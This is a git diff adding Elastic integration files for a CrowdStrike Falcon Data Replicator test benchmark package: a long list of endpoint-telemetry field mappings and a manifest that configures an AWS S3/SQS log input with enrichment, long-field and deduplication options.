+    - name: NetworkListenCount
+      type: long
+    - name: NetworkModuleLoadCount
+      type: long
+    - name: NetworkRecvAcceptCount
+      type: long
+    - name: NewExecutableWrittenCount
+      type: long
+    - name: NewFileIdentifier
+      type: keyword
+    - name: NlMtu
+      type: keyword
+    - name: Nonce
+      type: unsigned_long
+    - name: Object1Type
+      type: keyword
+    - name: OnLinkPrefixLength
+      type: keyword
+    - name: OperStatus
+      type: keyword
+    - name: OriginalContentLength
+      type: keyword
+    - name: OriginalEventTimeStamp
+      type: keyword
+    - name: OriginalFilename
+      type: keyword
+    - name: OriginalParentAuthenticationId
+      type: keyword
+    - name: OriginalUserName
+      type: keyword
+    - name: OriginalUserSid
+      type: keyword
+    - name: OSVersionFileData
+      type: match_only_text
+    - name: OSVersionFileName
+      type: keyword
+    - name: OU
+      type: keyword
+    - name: ObjectNameEtw
+      type: match_only_text
+    - name: ObjectTypeEtw
+      type: match_only_text
+    - name: Objective
+      type: keyword
+    - name: OciContainerAppName
+      type: match_only_text
+    - name: OciContainerAppVersion
+      type: match_only_text
+    - name: OciContainerConfigImage
+      type: match_only_text
+    - name: OciContainerConfigLabels
+      type: match_only_text
+    - name: OciContainerConfigTty
+      type: match_only_text
+    - name: OciContainerConfigUser
+      type: match_only_text
+    - name: OciContainerEngineType
+      type: match_only_text
+    - name: OciContainerHostConfigCgroup
+      type: match_only_text
+    - name: OciContainerHostConfigDevices
+      type: match_only_text
+    - name: OciContainerHostConfigOomKillDisable
+      type: match_only_text
+    - name: OciContainerHostConfigPrivileged
+      type: match_only_text
+    - name: OciContainerHostConfigPublishAllPorts
+      type: match_only_text
+    - name: OciContainerHostConfigReadOnlyRootfs
+      type: match_only_text
+    - name: OciContainerId
+      type: match_only_text
+    - name: OciContainerImageId
+      type: match_only_text
+    - name: OciContainerInfoRetransmitted
+      type: match_only_text
+    - name: OciContainerMounts
+      type: match_only_text
+    - name: OciContainerName
+      type: match_only_text
+    - name: OciContainerNetworkSettingsIpAddress
+      type: match_only_text
+    - name: OciContainerPhase
+      type: match_only_text
+    - name: OciContainerStateOOMKilled
+      type: match_only_text
+    - name: OciContainerStatePid
+      type: match_only_text
+    - name: OciContainersStartedCount
+      type: match_only_text
+    - name: OciContainersStoppedCount
+      type: match_only_text
+    - name: OperationFlags
+      type: keyword
+    - name: Options
+      type: keyword
+    - name: OutBroadcastOctets
+      type: keyword
+    - name: OutDiscards
+      type: keyword
+    - name: OutErrors
+      type: keyword
+    - name: OutMulticastOctets
+      type: keyword
+    - name: OutMulticastPkts
+      type: keyword
+    - name: OutNUcastPkts
+      type: keyword
+    - name: OutOctets
+      type: keyword
+    - name: OutUcastOctets
+      type: keyword
+    - name: OutUcastPkts
+      type: keyword
+    - name: Parameter1
+      type: keyword
+    - name: Parameter2
+      type: keyword
+    - name: Parameter3
+      type: keyword
+    - name: Parameter64_1
+      type: keyword
+    - name: Parameter64_2
+      type: keyword
+    - name: Parameter64_3
+      type: keyword
+    - name: ParentAuthenticationId
+      type: keyword
+    - name: PathMtuDiscoveryTimeout
+      type: keyword
+    - name: ParentCommandLine
+      type: keyword
+      multi_fields:
+        - name: text
+          type: match_only_text
+    - name: ParentImageFileName
+      type: keyword
+    - name: ParentImageFilePath
+      type: keyword
+    - name: PasswordLastSet
+      type: keyword
+    - name: PatternDispositionDescription
+      type: keyword
+    - name: PatternDispositionFlags
+      type: group
+      fields:
+        - name: ContainmentFileSystem
+          type: boolean
+        - name: BlockingUnsupportedOrDisabled
+          type: boolean
+        - name: BootupSafeguardEnabled
+          type: boolean
+        - name: CriticalProcessDisabled
+          type: boolean
+        - name: Detect
+          type: boolean
+        - name: FsOperationBlocked
+          type: boolean
+        - name: HandleOperationDowngraded
+          type: boolean
+        - name: InddetMask
+          type: boolean
+        - name: Indicator
+          type: boolean
+        - name: KillActionFailed
+          type: boolean
+        - name: KillParent
+          type: boolean
+        - name: KillProcess
+          type: boolean
+        - name: KillSubProcess
+          type: boolean
+        - name: OperationBlocked
+          type: boolean
+        - name: PolicyDisabled
+          type: boolean
+        - name: ProcessBlocked
+          type: boolean
+        - name: QuarantineFile
+          type: boolean
+        - name: QuarantineMachine
+          type: boolean
+        - name: RegistryOperationBlocked
+          type: boolean
+        - name: Rooting
+          type: boolean
+        - name: SensorOnly
+          type: boolean
+        - name: SuspendParent
+          type: boolean
+        - name: SuspendProcess
+          type: boolean
+    - name: PatternDispositionValue
+      type: long
+    - name: PatternId
+      type: keyword
+    - name: PatternIdList
+      type: match_only_text
+    - name: PciAttachmentState
+      type: keyword
+    - name: PciConfigDataBdsm
+      type: match_only_text
+    - name: PciConfigDataBiosCntl
+      type: match_only_text
+    - name: PciConfigDataGenPmconA
+      type: match_only_text
+    - name: PciConfigDataGgc
+      type: match_only_text
+    - name: PciConfigDataHfsts1
+      type: match_only_text
+    - name: PciConfigDataMesegBase
+      type: match_only_text
+    - name: PciConfigDataRemapbase
+      type: match_only_text
+    - name: PciConfigDataRemaplimit
+      type: match_only_text
+    - name: PciConfigDataSmramc
+      type: match_only_text
+    - name: PciConfigDataTom
+      type: match_only_text
+    - name: PciConfigDataTouud
+      type: match_only_text
+    - name: PciConfigDataTsegmb
+      type: match_only_text
+    - name: Pcr0
+      type: match_only_text
+    - name: Pcr1
+      type: match_only_text
+    - name: Pcr2
+      type: match_only_text
+    - name: Pcr3
+      type: match_only_text
+    - name: Pcr4
+      type: match_only_text
+    - name: Pcr5
+      type: match_only_text
+    - name: Pcr6
+      type: match_only_text
+    - name: Pcr7
+      type: match_only_text
+    - name: PendingUpdateIds
+      type: match_only_text
+    - name: PerformanceCounter
+      type: keyword
+    - name: PermanentPhysicalAddress
+      type: keyword
+    - name: PhysicalAddress
+      type: keyword
+    - name: PhysicalAddressLength
+      type: long
+    - name: PhysicalCoreCount
+      type: long
+    - name: PhysicalMediumType
+      type: keyword
+    - name: PlatformId
+      type: keyword
+    - name: PlatformName
+      type: keyword
+    - name: PointerSize
+      type: keyword
+    - name: PreferredLifetime
+      type: keyword
+    - name: PrefixLength
+      type: keyword
+    - name: PrefixOrigin
+      type: keyword
+    - name: PreviousConnectTime
+      type: date
+    - name: PrivilegedProcessHandleCount
+      type: long
+    - name: PrimaryModule
+      type: keyword
+    - name: PrivilegesBitmask
+      type: keyword
+    - name: ProcessAttributes
+      type: match_only_text
+    - name: ProcessCount
+      type: long
+    - name: ProcessCreateFlags
+      type: keyword
+    - name: ProcessId
+      type: long
+    - name: ProcessParameterFlags
+      type: keyword
+    - name: ProcessStartKey
+      type: keyword
+    - name: ProcessSxsFlags
+      type: keyword
+    - name: ProcessorPackageCount
+      type: long
+    - name: ProductType
+      type: keyword
+    - name: ProtectVirtualMemoryCount
+      type: long
+    - name: ProvisionState
+      type: keyword
+    - name: PublicKeys
+      type: keyword
+    - name: PupAdwareConfidence
+      type: keyword
+    - name: PupAdwareDecisionValue
+      type: keyword
+    - name: QuarantinedFileExtendedState
+      type: match_only_text
+    - name: QuarantinedFileName
+      type: match_only_text
+    - name: QuarantinedFileState
+      type: match_only_text
+    - name: QueryStatus
+      type: integer
+    - name: QueueApcCount
+      type: long
+    - name: RawThreadId
+      type: keyword
+    - name: ReachableTime
+      type: keyword
+    - name: ReceiveLinkSpeed
+      type: keyword
+    - name: ReferrerUrl
+      type: keyword
+    - name: RegClassification
+      type: keyword
+    - name: RegClassificationFlags
+      type: keyword
+    - name: RegClassificationIndex
+      type: keyword
+    - name: RegConfigClass
+      type: keyword
+    - name: RegConfigFlags
+      type: keyword
+    - name: RegConfigIndex
+      type: keyword
+    - name: RegConfigValueType
+      type: keyword
+    - name: RegObjectName
+      type: keyword
+    - name: RegOperationType
+      type: keyword
+    - name: RegType
+      type: keyword
+    - name: RegValueName
+      type: keyword
+    - name: RemoteAddressMaskIP4
+      type: keyword
+    - name: RemoteAddressMaskIP6
+      type: keyword
+    - name: RemoteAddressString
+      type: keyword
+    - name: ResendToCloud
+      type: keyword
+    - name: RespondingDnsServer
+      type: keyword
+    - name: RetransmitTime
+      type: keyword
+    - name: RFMState
+      type: keyword
+    - name: RGID
+      type: keyword
+    - name: RootPath
+      type: keyword
+    - name: RouteAge
+      type: keyword
+    - name: RouteMetric
+      type: keyword
+    - name: RouteOrigin
+      type: keyword
+    - name: RouterDiscoveryBehavior
+      type: keyword
+    - name: RPath
+      type: match_only_text
+    - name: RUID
+      type: keyword
+    - name: ReasonOfFunctionalityLevel
+      type: keyword
+    - name: RegBinaryValue
+      type: match_only_text
+    - name: RegCreateDisposition
+      type: match_only_text
+    - name: RegCreateOptions
+      type: match_only_text
+    - name: RegKeySecurityDecreasedCount
+      type: long
+    - name: RegPostObjectName
+      type: match_only_text
+    - name: RegRootObjectName
+      type: match_only_text
+    - name: RegStringValue
+      type: match_only_text
+    - name: RemoteAccount
+      type: keyword
+    - name: RemovableDiskFileWrittenCount
+      type: long
+    - name: RequestType
+      type: keyword
+    - name: RpcClientProcessId
+      type: keyword
+    - name: RpcClientThreadId
+      type: keyword
+    - name: RpcNestingLevel
+      type: keyword
+    - name: RpcOpClassification
+      type: match_only_text
+    - name: RpcOpNum
+      type: keyword
+    - name: RunDllInvocationCount
+      type: long
+    - name: SHA1String
+      type: keyword
+    - name: SHA256String
+      type: keyword
+    - name: SVGID
+      type: keyword
+    - name: SVUID
+      type: keyword
+    - name: SamAccountName
+      type: match_only_text
+    - name: ScopeLevel
+      type: keyword
+    - name: ScopeZone
+      type: keyword
+    - name: ScreenshotsTakenCount
+      type: long
+    - name: ScreenshotType
+      type: keyword
+    - name: ScriptContent
+      type: match_only_text
+    - name: ScriptContentBytes
+      type: match_only_text
+    - name: ScriptContentName
+      type: keyword
+    - name: ScriptContentScanId
+      type: match_only_text
+    - name: ScriptControlErrorCode
+      type: keyword
+    - name: ScriptEngineInvocationCount
+      type: long
+    - name: ScriptingLanguageId
+      type: keyword
+    - name: SensorGroupingTags
+      type: keyword
+    - name: SensorId
+      type: keyword
+    - name: SensorStateBitMap
+      type: keyword
+    - name: ServiceAccessPropertiesEtw
+      type: match_only_text
+    - name: ServiceDelayedAutoStart
+      type: match_only_text
+    - name: ServiceDependOnService
+      type: match_only_text
+    - name: ServiceDescription
+      type: keyword
+    - name: ServiceDisplayName
+      type: keyword
+    - name: ServiceErrorControl
+      type: keyword
+    - name: ServiceEventCount
+      type: long
+    - name: ServiceFailureActions
+      type: keyword
+    - name: ServiceImagePath
+      type: keyword
+    - name: ServiceSecurity
+      type: keyword
+    - name: ServiceStart
+      type: keyword
+    - name: ServiceType
+      type: keyword
+    - name: ServicePackMajor
+      type: keyword
+    - name: SessionId
+      type: keyword
+    - name: SessionProcessId
+      type: keyword
+    - name: SetThreadContextCount
+      type: long
+    - name: Severity
+      type: integer
+    - name: SeverityName
+      type: keyword
+    - name: ShareAccess
+      type: keyword
+    - name: SiteName
+      type: keyword
+    - name: Size
+      type: long
+    - name: SHA1HashData
+      type: keyword
+    - name: SHA256HashData
+      type: keyword
+    - name: ShareName
+      type: keyword
+    - name: ShareSecurity
+      type: keyword
+    - name: ShareSecuritySddl
+      type: keyword
+    - name: SignatureErrorState
+      type: keyword
+    - name: SignatureState
+      type: keyword
+    - name: SignInfoFlags
+      type: keyword
+    - name: SitePrefixLength
+      type: keyword
+    - name: SkipAsSource
+      type: keyword
+    - name: SmbClientName
+      type: keyword
+    - name: SmbShareName
+      type: keyword
+    - name: SnapshotFileOpenCount
+      type: long
+    - name: SourceAccountDomain
+      type: keyword
+    - name: SourceAccountObjectGuid
+      type: keyword
+    - name: SourceAccountObjectSid
+      type: keyword
+    - name: SourceAccountSamAccountName
+      type: keyword
+    - name: SourceEndpointAccountObjectGuid
+      type: keyword
+    - name: SourceEndpointAccountObjectSid
+      type: keyword
+    - name: SourceEndpointAddressIP4
+      type: keyword
+    - name: SourceEndpointHostName
+      type: keyword
+    - name: SourceEndpointNetworkTag
+      type: keyword
+    - name: SourceEndpointNetworkType
+      type: keyword
+    - name: SourceEventUniqueId
+      type: keyword
+    - name: SourceFileName
+      type: keyword
+    - name: SourceProcessId
+      type: keyword
+    - name: SourceProducts
+      type: keyword
+    - name: SourceThreadId
+      type: keyword
+    - name: SourceThreadModule
+      type: match_only_text
+    - name: SourceThreadStartAddress
+      type: keyword
+    - name: SourceVendors
+      type: keyword
+    - name: SpibarDataBfpr
+      type: match_only_text
+    - name: SpibarDataFreg0
+      type: match_only_text
+    - name: SpibarDataFreg1
+      type: match_only_text
+    - name: SpibarDataFreg2
+      type: match_only_text
+    - name: SpibarDataFreg3
+      type: match_only_text
+    - name: SpibarDataFreg4
+      type: match_only_text
+    - name: SpibarDataHsfs
+      type: match_only_text
+    - name: SpibarDataPr0
+      type: match_only_text
+    - name: SpibarDataPr1
+      type: match_only_text
+    - name: SpibarDataPr2
+      type: match_only_text
+    - name: SpibarDataPr3
+      type: match_only_text
+    - name: SpibarDataPr4
+      type: match_only_text
+    - name: SpibarDataVscc0
+      type: match_only_text
+    - name: SpibarDataVscc1
+      type: match_only_text
+    - name: StartTime
+      type: date
+    - name: Status
+      type: keyword
+    - name: StorageUsageInfo
+      type: match_only_text
+    - name: SubStatus
+      type: keyword
+    - name: SubjectDomainNameEtw
+      type: match_only_text
+    - name: SuffixOrigin
+      type: keyword
+    - name: SuppressType
+      type: keyword
+    - name: SuspectStackCount
+      type: long
+    - name: SuspiciousCredentialModuleLoadCount
+      type: long
+    - name: SuspiciousDnsRequestCount
+      type: long
+    - name: SuspiciousFontLoadCount
+      type: long
+    - name: SuspiciousRawDiskReadCount
+      type: long
+    - name: SymbolicLinkName
+      type: keyword
+    - name: SymbolicLinkTarget
+      type: keyword
+    - name: SyntheticPR2Flags
+      type: keyword
+    - name: SystemManufacturer
+      type: keyword
+    - name: SystemProcessCount
+      type: match_only_text
+    - name: SystemProductName
+      type: keyword
+    - name: SystemSerialNumber
+      type: keyword
+    - name: SystemSku
+      type: keyword
+    - name: SystemTableIndex
+      type: long
+    - name: Tactic
+      type: keyword
+    - name: Tags
+      type: keyword
+    - name: TargetCommandLineParameters
+      type: keyword
+    - name: TargetDomainControllerObjectGuid
+      type: keyword
+    - name: TargetDomainControllerObjectSid
+      type: keyword
+    - name: TargetFileName
+      type: keyword
+    - name: TargetSHA256HashData
+      type: keyword
+    - name: TargetThreadId
+      type: keyword
+    - name: TargetThreadModule
+      type: keyword
+    - name: TaskAuthor
+      type: keyword
+    - name: TaskExecArguments
+      type: keyword
+    - name: TaskExecCommand
+      type: keyword
+    - name: TaskName
+      type: keyword
+    - name: TaskXml
+      type: match_only_text
+    - name: Technique
+      type: keyword
+    - name: TemplateDisposition
+      type: keyword
+    - name: TemplateInstanceId
+      type: keyword
+    - name: ThreadStartAddress
+      type: keyword
+    - name: ThreadStartBytes
+      type: match_only_text
+    - name: ThreadStartContext
+      type: keyword
+    - name: Timeout
+      type: long
+    - name: TokenType
+      type: keyword
+    - name: TotalCount
+      type: long
+    - name: TransmitLinkSpeed
+      type: keyword
+    - name: TreeId
+      type: keyword
+    - name: TunnelType
+      type: keyword
+    - name: Type
+      type: keyword
+      description: 'The endpoint detection type ("ldt": Legacy Endpoint Detection, or "ofp": Office Prevention Macro Detection).'
+    - name: USN
+      type: keyword
+    - name: UninstallPendingUpdateIds
+      type: match_only_text
+    - name: UnixMode
+      type: keyword
+    - name: UnsignedModuleLoadCount
+      type: long
+    - name: UploadId
+      type: keyword
+    - name: User
+      type: keyword
+    - name: UserFlags
+      type: keyword
+    - name: UserGroupsBitmask
+      type: keyword
+    - name: UserLogoffType
+      type: keyword
+    - name: UserLogonFlags
+      type: keyword
+    - name: UserLogonFlags_decimal
+      type: keyword
+    - name: UserMemoryAllocateExecutableCount
+      type: long
+    - name: UserMemoryAllocateExecutableRemoteCount
+      type: long
+    - name: UserMemoryProtectExecutableCount
+      type: long
+    - name: UserMemoryProtectExecutableRemoteCount
+      type: long
+    - name: UserName
+      type: keyword
+    - name: UserRid
+      type: keyword
+    - name: UserSid
+      type: keyword
+    - name: UserSid_readable
+      type: keyword
+    - name: UserThread
+      type: keyword
+    - name: UserTime
+      type: long
+    - name: ValidLifetime
+      type: keyword
+    - name: VerifiedCertificate
+      type: keyword
+    - name: VersionInfo
+      type: match_only_text
+    - name: VnodeModificationType
+      type: keyword
+    - name: VnodeType
+      type: keyword
+    - name: VolumeAppearanceTime
+      type: keyword
+    - name: VolumeBusName
+      type: keyword
+    - name: VolumeBusPath
+      type: keyword
+    - name: VolumeDeviceCharacteristics
+      type: keyword
+    - name: VolumeDeviceInternal
+      type: keyword
+    - name: VolumeDeviceModel
+      type: keyword
+    - name: VolumeDeviceObjectFlags
+      type: keyword
+    - name: VolumeDevicePath
+      type: keyword
+    - name: VolumeDeviceProtocol
+      type: keyword
+    - name: VolumeDeviceRevision
+      type: keyword
+    - name: VolumeDeviceType
+      type: keyword
+    - name: VolumeDeviceVendor
+      type: match_only_text
+    - name: VolumeDriveLetter
+      type: keyword
+    - name: VolumeEncryptionStatus
+      type: keyword
+    - name: VolumeFileSystemDevice
+      type: keyword
+    - name: VolumeFileSystemDriver
+      type: keyword
+    - name: VolumeFileSystemType
+      type: keyword
+    - name: VolumeIsEncrypted
+      type: keyword
+    - name: VolumeIsNetwork
+      type: keyword
+    - name: VolumeLabel
+      type: keyword
+    - name: VolumeMediaBSDMajor
+      type: keyword
+    - name: VolumeMediaBSDMinor
+      type: keyword
+    - name: VolumeMediaBSDName
+      type: keyword
+    - name: VolumeMediaBSDUnit
+      type: keyword
+    - name: VolumeMediaContent
+      type: keyword
+    - name: VolumeMediaEjectable
+      type: keyword
+    - name: VolumeMediaName
+      type: keyword
+    - name: VolumeMediaPath
+      type: keyword
+    - name: VolumeMediaRemovable
+      type: keyword
+    - name: VolumeMediaSize
+      type: keyword
+    - name: VolumeMediaUUID
+      type: keyword
+    - name: VolumeMediaWhole
+      type: keyword
+    - name: VolumeMediaWritable
+      type: keyword
+    - name: VolumeMountPoint
+      type: keyword
+    - name: VolumeName
+      type: keyword
+    - name: VolumeOriginPath
+      type: match_only_text
+    - name: VolumeRealDeviceName
+      type: keyword
+    - name: VolumeSectorSize
+      type: keyword
+    - name: VolumeSessionUUID
+      type: keyword
+    - name: VolumeSnapshotName
+      type: match_only_text
+    - name: VolumeSnapshotTimeStamp
+      type: match_only_text
+    - name: VolumeType
+      type: keyword
+    - name: VolumeUUID
+      type: keyword
+    - name: AntiTamperStateFlag
+      type: keyword
+    - name: AssemblyFlags
+      type: keyword
+    - name: AssemblyId
+      type: keyword
+    - name: AssemblyName
+      type: keyword
+    - name: BatchDataNumber
+      type: keyword
+    - name: BatchDataTotal
+      type: keyword
+    - name: BatchTimestamp
+      type: date
+    - name: BrowserExtensionId
+      type: keyword
+    - name: BrowserExtensionInstallMethod
+      type: keyword
+    - name: BrowserExtensionStatusEnabled
+      type: keyword
+    - name: BrowserFileHash
+      type: keyword
+    - name: BrowserFilePath
+      type: keyword
+    - name: BrowserName
+      type: keyword
+    - name: BrowserProfileId
+      type: keyword
+    - name: BrowserProfileName
+      type: keyword
+    - name: BrowserVersion
+      type: keyword
+    - name: ClientProcessStartKey
+      type: keyword
+    - name: ContextProcessTagsAsString
+      type: keyword
+    - name: DotnetModuleFlags
+      type: keyword
+    - name: DotnetModuleId
+      type: keyword
+    - name: EtwProviderType
+      type: keyword
+    - name: EtwRawRpcClientProcessId
+      type: keyword
+    - name: GrandparentProcessId
+      type: keyword
+    - name: HandleOperationType
+      type: keyword
+    - name: ImageBaseName
+      type: keyword
+    - name: IsHosted
+      type: keyword
+    - name: ModuleILPath
+      type: keyword
+    - name: MountedVolumeAction
+      type: keyword
+    - name: ParentProcessPatternIdList
+      type: keyword
+    - name: RTRState
+      type: keyword
+    - name: ServiceCurrentState
+      type: keyword
+    - name: ShannonEntropy
+      type: keyword
+    - name: TargetAuthenticationId
+      type: keyword
+    - name: TargetIntegrityLevel
+      type: keyword
+    - name: TargetProcessCommandLine
+      type: keyword
+    - name: TargetProcessImageFileName
+      type: keyword
+    - name: UpdateFlag
+      type: keyword
+    - name: WindowFlags
+      type: keyword
+    - name: WmiNamespaceName
+      type: keyword
+    - name: WmiProviderName
+      type: keyword
+    - name: WmiProviderType
+      type: keyword
+    - name: WmiQuery
+      type: keyword
+    - name: AnodeIndicators
+      type: nested
+    - name: ContentPatterns
+      type: group
+      fields:
+        - name: ID
+          type: keyword
+        - name: Name
+          type: keyword
+        - name: ConfidenceLevel
+          type: long
+        - name: MatchCount
+          type: long
+    - name: Destination
+      type: nested
+    - name: Destination.Channel
+      type: keyword
+    - name: EventTimestamp
+      type: date
+    - name: FileType.Type
+      type: group
+      fields:
+        - name: CategoryID
+          type: keyword
+        - name: CategoryName
+          type: keyword
+        - name: Description
+          type: keyword
+        - name: ID
+          type: keyword
+        - name: Name
+          type: keyword
+    - name: FilesEgressedCount
+      type: long
+    - name: FileCategoryCounts
+      type: nested
+    - name: ContentPatternCounts
+      type: nested
+    - name: DetectionType
+      type: keyword
+    - name: EgressEventId
+      type: keyword
+    - name: EgressSessionId
+      type: keyword
+    - name: IsClipboard
+      type: boolean
+    - name: MatchedClassification
+      type: group
+      fields:
+        - name: ID
+          type: keyword
+        - name: Name
+          type: keyword
+    - name: OriginWebLocations
+      type: flattened
+    - name: RelatedClassifications
+      type: group
+      fields:
+        - name: ID
+          type: keyword
+        - name: Name
+          type: keyword
+    - name: ResponseAction
+      type: keyword
+    - name: RuleId
+      type: keyword
+    - name: UserNotified
+      type: boolean
+    - name: UserTitle
+      type: keyword
+    - name: UserDepartment
+      type: keyword
+    - name: UserMapped
+      type: boolean
+    - name: aipCount
+      type: integer
+    - name: assessments
+      type: flattened
+    - name: cid
+      type: keyword
+    - name: discovererCount
+      type: integer
+    - name: discoverer_aid
+      type: keyword
+    - name: eid
+      type: integer
+    - name: hostname
+      type: keyword
+    - name: id
+      type: keyword
+    - name: info.host.*
+      description: Host information enriched from aidmaster data.
+      type: object
+      object_type: keyword
+      object_type_mapping_type: '*'
+    - name: info.user.*
+      description: User information enriched from userinfo data.
+      type: object
+      object_type: keyword
+      object_type_mapping_type: '*'
+    - name: localipCount
+      type: integer
+    - name: monthsincereset
+      type: keyword
+    - name: name
+      type: keyword
+    - name: os_version
+      type: keyword
+    - name: product_type_desc
+      type: keyword
+    - name: scores
+      type: group
+      fields:
+        - name: modified_time
+          type: date
+        - name: os
+          type: long
+        - name: overall
+          type: long
+        - name: sensor
+          type: long
+        - name: version
+          type: keyword
+    - name: subnet
+      type: keyword
+    - name: finding
+      type: keyword
+    - name: disposition
+      type: keyword
+    - name: cis_benchmark_ids
+      type: keyword
+    - name: cisa_benchmark_ids
+      type: keyword
+    - name: cloud_asset_type
+      type: long
+    - name: cloudplatform
+      type: keyword
+    - name: internal_only
+      type: boolean
+    - name: iso_benchmark_ids
+      type: keyword
+    - name: nist_benchmark_ids
+      type: keyword
+    - name: pci_benchmark_ids
+      type: keyword
+    - name: policy_severity
+      type: long
+    - name: ResourceCreateTime
+      type: date
+    - name: ResourceAttributes
+      type: flattened
+    - name: ResourceId
+      type: keyword
+    - name: ResourceIdType
+      type: keyword
+    - name: resource_url
+      type: keyword
+    - name: service
+      type: keyword
+    - name: soc2_benchmark_ids
+      type: keyword
+    - name: aws_account_id
+      type: keyword
+    - name: attack_types
+      type: keyword
+    - name: event_category
+      type: keyword
+    - name: management_event
+      type: boolean
+    - name: read_only
+      type: boolean
+    - name: request_id
+      type: keyword
+    - name: request_parameters
+      type: keyword
+    - name: response_elements
+      type: keyword
+    - name: user_identity_access_key_id
+      type: keyword
+    - name: user_identity_account_id
+      type: keyword
+    - name: user_identity_arn
+      type: keyword
+    - name: user_identity_mfa_authenticated
+      type: boolean
+    - name: vertex_id
+      type: keyword
+    - name: vertex_type
+      type: keyword
+    - name: event-type
+      type: keyword
+    - name: compliance
+      type: group
+      fields:
+        - name: benchmarkNames
+          type: keyword
+        - name: frameworks
+          type: keyword
+        - name: requirements
+          type: keyword
+        - name: sections
+          type: keyword
+        - name: versions
+          type: keyword
+    - name: created
+      type: date
+    - name: crn
+      type: keyword
+    - name: firstDetected
+      type: date
+    - name: lastDetected
+      type: date
+    - name: legacyPolicyId
+      type: long
+    - name: resource
+      type: group
+      fields:
+        - name: captured
+          type: date
+        - name: legacyResourceId
+          type: keyword
+        - name: legacyResourceTypeId
+          type: long
+        - name: resourceId
+          type: keyword
+        - name: resourceType
+          type: keyword
+    - name: revision
+      type: long
+    - name: status
+      type: keyword
+    - name: url
+      type: keyword
+    - name: findings
+      type: group
+      fields:
+        - name: name
+          type: keyword
+        - name: value
+          type: keyword
+    - name: ChangeId
+      type: keyword
+    - name: ContentDiff
+      type: group
+      fields:
+        - name: Exists
+          type: boolean
+    - name: Prevalence
+      type: group
+      fields:
+        - name: Key
+          type: keyword
+    - name: Suppression
+      type: group
+      fields:
+        - name: Suppressed
+          type: boolean
+    - name: Policy
+      type: group
+      fields:
+        - name: ID
+          type: keyword
+        - name: Name
+          type: keyword
+    - name: IsEBPF
+      type: keyword
+    - name: IsFromDifferentMountNamespace
+      type: keyword
+    - name: ObjectAccessOperationType
+      type: keyword
+    - name: ObjectType
+      type: keyword
+    - name: PolicyRuleSeverity
+      type: long
+    - name: FileAttributesNew
+      type: keyword
+    - name: FileAttributesPrevious
+      type: keyword
+    - name: NewFileAttributesLinux
+      type: keyword
+    - name: NewUnixPermissions
+      type: keyword
+    - name: PreviousFileAttributesLinux
+      type: keyword
+    - name: PreviousUnixPermissions
+      type: keyword
+    - name: SecurityInformationLinux
+      type: keyword
+- name: dll.Ext.size
+  type: long
+  description: Size of DLL.
+- name: file.Ext.original.name
+  type: keyword
+- name: file.Ext.original.path
+  type: keyword
+- name: process.Ext.token.integrity_level_name
+  type: keyword
+  description: Human readable integrity level.
+- name: user.Ext.real.id
+  type: keyword
+  description: One or multiple unique identifiers of the user.
+- name: group.Ext.real.id
+  type: keyword
+  description: Unique identifier for the group on the system/platform.
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/manifest.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/manifest.yml
new file mode 100644
index 0000000000..ae80783f57
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/manifest.yml
@@ -0,0 +1,296 @@
+title: "Falcon Data Replicator"
+type: logs
+elasticsearch:
+  index_template:
+    settings:
+      index:
+        mapping:
+          total_fields:
+            limit: 2000
+streams:
+  - input: aws-s3
+    template_path: aws-s3.yml.hbs
+    title: Falcon Data Replicator logs
+    description: Collect Falcon Data Replicator logs using s3 input
+    enabled: false
+    vars:
+      - name: access_key_id
+        type: text
+        title: Access Key ID
+        multi: false
+        required: false
+        show_user: true
+        secret: false
+      - name: secret_access_key
+        type: password
+        title: Secret Access Key
+        multi: false
+        required: false
+        show_user: true
+        secret: true
+      - name: session_token
+        type: password
+        title: Session Token
+        multi: false
+        required: false
+        show_user: true
+        secret: true
+      - name: queue_url
+        type: text
+        title: Queue URL
+        multi: false
+        required: true
+        show_user: true
+        description: URL of the AWS SQS queue that messages will be received from.
+      - name: enrich_metadata
+        required: true
+        show_user: true
+        title: Enrich Host and User Metadata
+        description: Uses data in aidmaster and userinfo to add host and user information to events. The aidmaster blob must contain the string "aidmaster" in its path and the userinfo blob path must contain "userinfo", and the FDR Notification Parsing Script must sort events so that aidmaster and userinfo events appear first in the stream.
+        type: bool
+        multi: false
+        default: true
+      - name: keep_metadata
+        required: true
+        show_user: false
+        title: Keep Original Host and User Metadata
+        description: Keep the aidmaster and userinfo documents after they have been used for event enrichment.
+        type: bool
+        multi: false
+        default: false
+      - name: metadata_ttl
+        required: true
+        show_user: true
+        title: Metadata TTL
+        description: The period of time that metadata is considered valid for. Valid time units are h, m, s, ms, us/µs and ns.
+        type: text
+        multi: false
+        default: 168h
+      - name: metadata_cache_capacity
+        required: true
+        show_user: false
+        title: Metadata cache capacity
+        description: "The maximum amount of metadata objects to cache. Operations that would cause the capacity to be exceeded will result in evictions of the oldest elements. The capacity should not be lower than the number of elements that are expected to be referenced when processing the input as evicted elements are lost. Values at or below zero indicate no limit. \nWARNING: This setting needs to be set only if the amount of metadata elements is known beforehand, otherwise it might lead to enrichment data loss. If you are not sure, leave it untouched.\n"
+        type: text
+        multi: false
+        default: 0
+      - name: metadata_cache_write_interval
+        required: true
+        show_user: false
+        title: Metadata cache write interval
+        description: The interval between periodic cache writes to the backing file. Valid time units are h, m, s, ms, us/µs and ns. The contents are always written out to the backing file when the processor is closed. Default is zero, no periodic writes.
+        type: text
+        multi: false
+        default: 0
+      - name: long_fields
+        title: Long Fields
+        description: Choose to `Index` or `Delete` long fields. Fields longer than 1024 bytes (except `event.original`) will be kept (indexed) or deleted based on this option.
+        type: select
+        multi: false
+        required: true
+        show_user: false
+        options:
+          - text: Index
+            value: index_long_fields
+          - text: Delete
+            value: delete_long_fields
+        default: index_long_fields
+      - name: long_fields_max_length
+        type: integer
+        title: Maximum Length of Fields
+        description: The maximum length of fields (in bytes) to consider them as too long. By default, fields larger than `1024` bytes are considered too long. This option in addition to `Long Fields` option helps users configure how integration should handle long fields.
+        default: 1024
+        required: true
+        show_user: false
+      - name: enable_deduplication
+        title: Enable Data Deduplication
+        required: true
+        show_user: false
+        description: If data deduplication is enabled, it ensures that no duplicate events are indexed. This is achieved by generating an `_id` value based on the content of each event using the [fingerprint processor](https://www.elastic.co/guide/en/elasticsearch/reference/current/fingerprint-processor.html). If the option is disabled, every received event will be indexed with a unique `_id` generated by Elasticsearch (overriding the the AWS-S3 input's [_id-Based Deduplication](https://www.elastic.co/docs/reference/beats/filebeat/filebeat-input-aws-s3#_document_id_generation) feature).
+        type: bool
